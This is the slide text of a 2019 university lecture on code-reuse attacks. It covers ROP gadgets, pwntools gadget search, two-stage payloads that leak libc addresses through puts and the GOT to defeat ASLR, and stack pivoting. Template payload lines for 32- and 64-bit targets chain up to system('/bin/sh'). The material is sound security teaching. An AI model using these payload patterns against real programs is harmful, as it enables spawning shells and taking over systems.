



Lecture 09

Code Reuse (part 2)

Computer and Network Security
November 25, 2019
Computer Science and Engineering Department

- ▶ use existing code: `.text` in executable and in `libc`
- ▶ rewrite code pointers
- ▶ jump to functions or parts of functions
- ▶ ret-to-libc, ROP, JOP, DOP

- ▶ jump to small areas ending in `ret`
- ▶ control the stack
- ▶ each `ret` pops another code address from the stack
- ▶ Turing-complete

- ▶ `pop rdi; ret` – fill first argument
- ▶ `pop rsi; pop rdi; ret` – fill first two arguments
- ▶ `sub esp, 32; ret` – move stack pointer

ROP API

```
r = ROP(e)
pop_rdi_ret = r.find_gadget(["pop rdi", "ret"]).address
```

- ▶ call functions on x86_64 (populate registers)
- ▶ call multiple functions (free stack after each call on i386)

- ▶ multiple stage payloads
- ▶ return-to-main
- ▶ first payload make room for the second one
- ▶ first payload leaks data for the second one (ASLR bypass)

32 bit Sample

```
payload_stage_1 = offset * "A" + pack(puts_plt) +  
    pack(main_address) + pack(puts_got)  
payload_stage_2 = offset * "A" + pack(system_address) +  
    4 * "B" + pack(bin_sh_address)
```


64 bit Sample

```
payload_stage_1 = offset * "A" + pack(pop_rdi_ret) +  
    pack(puts_got) + pack(puts_plt) + pack(main_address)  
payload_stage_2 = offset * "A" + pack(pop_rdi_ret) +  
    pack(bin_sh_address) + pack(system_address)
```

- ▶ buffer overflow insufficient for a ROP chain
- ▶ use two stages of payload: make first (main) stage triggers second stage
- ▶ call main again, trigger a reading function, use stack pivoting

- ▶ move stack pointer to a new location (heap, data, higher on the stack)
- ▶ the new location stores the rest of the ROP chain
- ▶ needs leak / knowledge of address to pivot to

Instructions

```
xchg rsp, rax  
add rsp, 32  
sub rsp, 32  
leave ; ret  
mov rsp, rax
```

- ▶ called at the end of the function
- ▶ control the stack content so you get a new value for rbp
- ▶ jump to another leave ; ret; fill rsp with rbp address

64 bit Sample

```
first_payload = offset * "A" + p64(stack_pivot_address) +  
    p64(leave_ret_gadget)  
second_payload = 8 * "B" + p64(pop_rdi_ret) + p64(argument) +  
    p64(function_address)
```

- ▶ the stack pivot address needs to have space before that
- ▶ stack is going to increase (i.e. `rsp` goes down) and needs space

- ▶ multi-phase attack
- ▶ puts() leak
- ▶ GOT leak
- ▶ libc address
- ▶ stack pivot
- ▶ leave; ret gadget

- ▶ https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf
- ▶ <https://github.com/JonathanSalwan/ROPgadget>
- ▶ <http://neilscomputerblog.blogspot.com/2012/06/stack-pivoting.html>
- ▶ <https://failingsilently.wordpress.com/2018/04/17/what-is-a-stack-pivot/>
- ▶ <https://bananamafia.dev/post/binary-rop-stackpivot/>